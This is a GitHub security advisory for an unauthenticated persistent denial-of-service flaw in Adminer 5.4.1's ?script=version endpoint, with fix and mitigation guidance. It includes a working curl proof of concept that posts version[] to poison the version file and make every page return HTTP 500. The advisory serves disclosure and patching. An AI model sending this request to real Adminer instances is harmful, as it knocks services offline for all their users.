GHSA-Q4F2-39GR-45JH

Vulnerability from github – Published: 2026-02-10 00:25 – Updated: 2026-02-10 02:56
VLAI?
Summary
Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint
Details

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript: - functions.js line 102-117: Creates iframe to https://www.adminer.org/version/ - Adminer.org sends signed version data via postMessage - JavaScript POSTs this to ?script=version - Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate: - Request origin (no CSRF token check for this endpoint) - Request source (any HTTP client can POST) - Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.


Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "vrana/adminer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.2"
            },
            {
              "fixed": "5.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-10T00:25:24Z",
    "nvd_published_at": "2026-02-09T22:16:04Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAdminer v5.4.1 has a version check mechanism where `adminer.org` sends signed version info via JavaScript postMessage, which the browser then POSTs to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, `openssl_verify()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users.\n\n### Fix\n\nUpgrade to Adminer 5.4.2.\n\n**Mitigation** (if you can\u0027t upgrade): Make file `adminer.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.\n\n### Details\n\n**1. Intended design of `?script=version`:**\n\nThe endpoint is designed to receive version data from `adminer.org` via browser JavaScript:\n- `functions.js` line 102-117: Creates iframe to `https://www.adminer.org/version/`\n- Adminer.org sends signed version data via `postMessage`\n- JavaScript POSTs this to `?script=version`\n- Server stores in `/tmp/adminer.version` for signature verification\n\n```javascript\n// functions.js line 117\najax(url + \u0027script=version\u0027, () =\u003e { }, event.data + \u0027\u0026token=\u0027 + token);\n```\n\n**2. The vulnerability:**\n\nThe endpoint only checks `$_GET[\"script\"] == \"version\"` - it does not validate:\n- Request origin (no CSRF token check for this endpoint)\n- Request source (any HTTP client can POST)\n- Parameter types (`version` expected as string, array not rejected)\n\n```php\n// bootstrap.inc.php line 32-40\nif ($_GET[\"script\"] == \"version\") {\n    $filename = get_temp_dir() . \"/adminer.version\";\n    @unlink($filename);\n    $fp = file_open_lock($filename);\n    if ($fp) {\n        file_write_unlock($fp, serialize(array(\"signature\" =\u003e $_POST[\"signature\"], \"version\" =\u003e $_POST[\"version\"])));\n    }\n    exit;\n}\n```\n\n**3. Type confusion crash:**\n\nWhen POST contains `version[]` instead of `version`, PHP creates an array. When Adminer reads this file and passes to `openssl_verify()`:\n\n```php\n// design.inc.php line 75\nif (openssl_verify($version[\"version\"], base64_decode($version[\"signature\"]), $public) == 1) {\n```\n\nPHP 8.x throws:\n```\nTypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given\n```\n\n### PoC\n\n**Steps to Reproduce:**\n\n**Step 1:** Verify Adminer is running and accessible.\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8888/adminer-5.4.1.php\n```\nExpected output:\n```\n200\n```\n\n**Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string.\n```bash\ncurl -X POST \"http://localhost:8888/adminer-5.4.1.php?script=version\" \\\n     -d \"signature=x\u0026version[]=INJECTED\"\n```\nExpected output: Empty response (no error).\n\n**Step 3:** Access Adminer again to trigger the crash.\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8888/adminer-5.4.1.php\n```\nExpected output:\n```\n500\n```\n\n**Step 4:** (Optional) View the PHP error in server logs.\n```\nPHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386\n```\n\n**Step 5:** (Optional) Inspect the poisoned file.\n```bash\ncat /tmp/adminer.version\n```\nExpected output:\n```\na:2:{s:9:\"signature\";s:1:\"x\";s:7:\"version\";a:1:{i:0;s:8:\"INJECTED\";}}\n```\n\n**Recovery:**\n```bash\nrm /tmp/adminer.version\n```\nAfter deletion, Adminer returns HTTP 200.\n\n---\n\n### Impact\n\n**Type:** Denial of Service\n\n**Root cause:** The `?script=version` endpoint is designed to receive data from `adminer.org` via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `openssl_verify()`, this allows persistent DoS.\n\n**Affected users:** Any Adminer instance accessible over the network.",
  "id": "GHSA-q4f2-39gr-45jh",
  "modified": "2026-02-10T02:56:04Z",
  "published": "2026-02-10T00:25:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25892"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vrana/adminer/commit/21d3a3150388677b18647d68aec93b7850e457d3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vrana/adminer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vrana/adminer/releases/tag/v5.4.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…